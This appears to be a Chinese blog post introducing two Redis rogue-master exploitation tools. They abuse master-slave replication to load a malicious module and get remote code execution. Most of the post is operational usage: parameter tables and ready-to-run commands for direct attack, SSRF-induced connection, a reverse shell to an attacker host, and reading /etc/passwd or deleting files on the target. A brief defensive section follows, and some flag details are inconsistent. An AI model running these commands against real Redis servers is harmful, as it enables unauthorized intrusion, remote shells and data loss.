工具介绍《Awsome-Redis-Rogue-Server 与 redis-rogue-server》

1. 核心功能与攻击场景

  • redis-rogue-server

    基于Redis主从复制漏洞(CVE未公开),针对Redis 4.x~5.0.5版本设计,通过伪造恶意主节点强制同步恶意模块(.so文件)实现远程代码执行(RCE)。

    • 适用场景
      • 主动模式:攻击外网暴露的未授权Redis或已知弱密码的实例,直接建立主从关系。
      • 被动模式:通过SSRF或内网横向移动,诱导目标Redis反向连接攻击者控制的恶意主节点。
    • 技术特点
      • 内置编译好的恶意模块(如exp.so),支持生成反弹Shell或执行系统命令。
      • 支持交互式Shell(直接命令执行)或反向Shell(绕过防火墙限制)。
  • Awsome-Redis-Rogue-Server

    在原版基础上优化,支持更复杂的Redis认证场景(如存在密码保护的实例),并修复部分兼容性问题。

    • 核心改进
      • 增加对密码认证Redis实例的利用能力,通过--passwd参数指定密码。
      • 优化模块加载逻辑,减少因网络波动导致的同步失败。
    • 应用场景
      • 针对企业内网中配置了密码但未限制主从复制的Redis实例。
      • 结合Redis横向渗透工具(如RedisScanner)批量探测并攻击。

2. 使用流程与工具差异

对比项 redis-rogue-server Awsome-Redis-Rogue-Server
依赖文件 需预编译.so模块(或使用自带exp.so 同左,但优化模块兼容性
密码支持 有限支持(需手动修改代码或参数) 原生支持--passwd参数指定密码
攻击模式 主动/被动模式 同左,增加对认证流程的自动化处理
适用Redis版本 4.x-5.0.5 扩展至部分5.0.5+版本(需测试)
典型命令 python3 redis-rogue-server.py --rhost <目标IP> python3 redis_rogue_server.py -rhost <目标IP> -passwd <密码>

3. 防御建议与漏洞修复

  • 禁用高危命令 :通过rename-command重命名或禁用MODULESLAVEOF等指令。
  • 强制认证 :设置requirepass强密码,并启用masterauth保证主从通信安全。
  • 网络隔离:限制Redis端口仅对可信IP开放,避免暴露公网。
  • 升级修复:升级至Redis 7.4.2+/7.2.7+修复Lua引擎漏洞(如CVE-2024-46981)。

总结

两者均利用Redis主从复制的设计缺陷实现RCE,但Awsome-Redis-Rogue-Server 更适用于复杂认证环境,而redis-rogue-server更适合快速测试未授权场景。防御需结合访问控制、日志监控与版本升级,避免恶意模块加载和横向渗透。


redis_rogue_server.py 参数解析

该文件位于Awsome-Redis-Rogue-Server项目中。

1. 基本参数
参数 描述 示例
-rhost 目标Redis服务器的IP地址。 -rhost 192.168.1.100
-rport 目标Redis服务器的端口(默认6379)。 -rport 6379
-lhost 攻击者主机的IP地址(用于反向Shell或模块同步)。 -lhost 10.0.0.1
-lport 攻击者主机的监听端口(默认15000)。 -lport 21000
-passwd Redis实例的认证密码(若目标Redis设置了密码)。 -passwd redis123
-sofile 指定恶意模块文件(如exp.so)。 -sofile ./exp.so
-path 指定恶意模块文件路径(如 exp.so),该模块通常包含远程代码执行函数(如 system.exec),程序到路径中加载文件。 -path exp.so
-v 详细输出模式,用于显示攻击过程中的调试信息,如连接状态、命令执行细节、模块加载进度等。 -v
2. 高级参数
参数 描述 示例
--command 直接执行系统命令(无需加载模块)。 --command "id"
--function 调用模块中的特定函数(如system.exec)。 --function system.exec
--backupfile 指定目标Redis持久化文件的备份路径(用于恢复数据)。 --backupfile /tmp/dump.rdb
--interactive 启用交互式Shell(加载模块后)。 --interactive
3. 使用示例
bash 复制代码
# 主动模式(外网/已知密码):加载 exp.so 模块,获取交互式 
# 功能:通过主从复制加载恶意模块,直接进入交互式 Shell。
# 场景:外网 Redis 未授权或已知弱密码。
Shell python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -passwd redis123 -sofile exp.so --interactive


# 被动模式(内网/SSRF诱导):仅启动恶意主节点,等待目标 Redis 反向连接 
# 功能:通过 SSRF 或内网横向移动诱导目标 Redis 连接恶意主节点。
# 场景:目标 Redis 处于内网且无法直接访问。
python3 redis_rogue_server.py --server-only -lhost 10.0.0.1 -lport 21000


# 反向 Shell 反弹:监听 4444 端口,触发目标反弹 Shell 
# 功能:利用模块中的 `system.rev` 函数建立反向 Shell。
# 场景:绕过防火墙限制或权限维持。
python3 redis_rogue_server.py -rhost 192.168.1.100 -lhost 10.0.0.1 -lport 4444 -sofile exp.so --function system.rev


# 快速命令执行:直接执行系统命令(无需加载模块)
# 功能:快速验证漏洞或执行单条命令。
# 场景:应急响应或自动化渗透测试。
python3 redis_rogue_server.py -rhost 192.168.1.100 -command "cat /etc/passwd"


# 调用自定义模块的特定函数:
# 说明:适用于绕过 WAF 或实现隐蔽攻击。
python3 redis_rogue_server.py -rhost 192.168.1.100 -sofile custom.so --function custom_cmd --command "rm -f /tmp/lock"


# 攻击前备份目标 Redis 数据 
# 说明:避免攻击导致业务中断,需提前验证备份文件完整性。
python3 redis_rogue_server.py -rhost 192.168.1.100 --backupfile /tmp/dump.rdb
4. 注意事项
  • 恶意模块exp.so 需提前编译,包含 system.exec 等函数。
  • 网络权限 :确保攻击者主机(lhost)可被目标Redis访问(用于反向Shell或模块同步)。
  • 数据备份 :攻击前建议备份目标Redis数据(--backupfile),避免数据丢失。
相关推荐
雨中飘荡的记忆15 小时前
大流量下库存扣减的数据库瓶颈:Redis分片缓存解决方案
java·redis·后端
用户9623779544815 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机18 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机18 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544820 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star20 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
曲幽1 天前
FastAPI分布式系统实战:拆解分布式系统中常见问题及解决方案
redis·python·fastapi·web·httpx·lock·asyncio
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全